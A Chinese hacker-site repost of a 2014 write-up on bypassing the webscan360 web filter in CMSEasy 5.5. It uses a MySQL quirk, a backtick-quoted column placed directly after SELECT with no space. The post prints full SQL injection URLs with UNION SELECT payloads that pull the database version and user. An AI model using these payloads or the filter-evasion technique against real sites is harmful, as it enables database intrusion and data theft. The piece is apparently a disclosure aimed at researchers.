记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

mysql一个特性绕过webscan360导致sql完美执行

2014-12-10 04:30

mysql一个特性绕过webscan360 导致sql完美执行

这里我们就要说一下,最新版本的cmseasy了

我们首先测试一个东西,在mysql中

select `tname`,1,2,3,4 from `table` 这个东西想必大家都会认同,可以执行

那么我们去掉select和`tname`之间的空格,看看这样的语句还能否执行

这里我们用cmseasy的数据库测试一下

SELECT`catid` FROM `cmseasy_archive` WHERE 1
 

1.png





看到了没有完美执行了



在之前审核cmseasy的时候



第一次union select 1,2,3,4 from `t` 是自动会被webscan360拦截



第二次union select/**/1,2,3,4 from `t` 这个绕过了webscan360成功执行



第三次这个地方被修补了上次绕过webscan360的问题,这里我们再次测试第二次的情况会被拦截,我们不做演示了,那么我们的猜想是否正确



union select`tname`,1,2,3,4 from `t` 这个也应该会成功执行





直接看代码:



archive_act.php:



} elseif (front::get(front::check_type('aid'))){

$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
$this->view->paylist = pay::getInstance()->getrows('', 50);
$this->view->logisticslist = logistics::getInstance()->getrows('', 50);
$prices = getPrices($this->view->archive['attr2']);
$this->view->archive['attr2'] = $prices['price'];
if (!is_array($this->view->archive))
$this->out('message/error.html');
if ($this->view->archive['checked'] < 1)
exit(lang('未审核!'));
if (!rank::arcget(front::get('aid'), $this->view->usergroupid)) {
$this->out('message/error.html');
}







这里对front::get(front::check_type('aid') 这个进行了处理,故而漏洞已经修复,我们要测是的是webscan360,所以放过这里逻辑,改为:



} elseif (true || front::get(front::check_type('aid'))){

$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);





我们访问url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1



 

2.png





那么我们访问url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1



 

3.png





成功绕过!!!!!!!!!

 

解决方案:

加强过滤


知识来源: www.2cto.com/Article/201412/359209.html

阅读:88187 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“mysql一个特性绕过webscan360导致sql完美执行”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云